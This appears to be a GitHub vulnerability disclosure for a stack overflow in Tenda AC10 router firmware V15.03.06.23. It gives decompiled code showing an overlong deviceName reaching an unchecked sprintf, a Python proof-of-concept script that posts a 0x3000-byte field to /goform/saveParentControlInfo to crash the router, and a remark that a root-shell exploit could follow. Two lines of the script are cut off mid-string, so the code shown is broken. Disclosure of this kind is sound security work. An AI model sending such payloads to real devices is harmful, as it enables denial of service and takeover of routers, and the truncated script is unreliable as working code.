z1r00 Update readme.md History

1 contributor

66 lines (42 sloc) | 2 KB ...

Tenda AC10V15.03.06.23 Stack overflow vulnerability

Firmware information

- Manufacturer's address：https://www.tenda.com.cn/
- Firmware download address ： https://www.tenda.com.cn/download/detail-2734.html

Affected version

Vulnerability details

```
i = 0;
memset(pc_list, 0, sizeof(pc_list));
memset(rule_id, 0, sizeof(rule_id));
rule = 0;
ruleid = 0;
pc_macd = 0;
deviceId = websGetVar(wp, "deviceId", byte_518F08);
enable = websGetVar(wp, "enable", byte_518F08);
time = websGetVar(wp, "time", byte_518F08);
url_enable = websGetVar(wp, "url_enable", byte_518F08);
urls = websGetVar(wp, "urls", byte_518F08);
day = websGetVar(wp, "day", byte_518F08);
pc_mac = websGetVar(wp, "block", byte_518F08);
ctype = websGetVar(wp, "connectType", byte_518F08);
limit_type = websGetVar(wp, "limit_type", "1");
deviceName = websGetVar(wp, "deviceName", byte_518F08);
if ( *deviceName )
  set_device_name(deviceName, deviceId);
if ( !*time )
```

```
    {
      if ( !strcmp("on", cgi_debug_0) )
        printf(
          "%s[%s:%s:%d] %sset device name %s == %s\n\x1B[0m",
          debug_color_6[3],
          "cgi",
          "set_device_name",
          1511,
          debug_color_6[1],
          mac_addr,
          dev_name);
    }
    sprintf(mib_name, "client.devicename%s", mac_addr);
    sprintf(mib_vlaue, "%s;1", dev_name);     // vuln
    SetValue(mib_name, mib_vlaue);
    return 0;
  }
}
else
```

/goform/saveParentControlInfo, In saveParentControlInfo, deviceName and deviceId are controllable and will be passed into the set_device_name function. In the set_device_name function, dev_name will be spliced into mib_vlaue by sprintf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

Poc

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x3000
p2 = b'deviceId=1&deviceName=' + p1

p3 = b"POST /goform/saveParentControlInfo" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
```

```
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```

You can see the router crash, and finally we can write an exp to get a root shell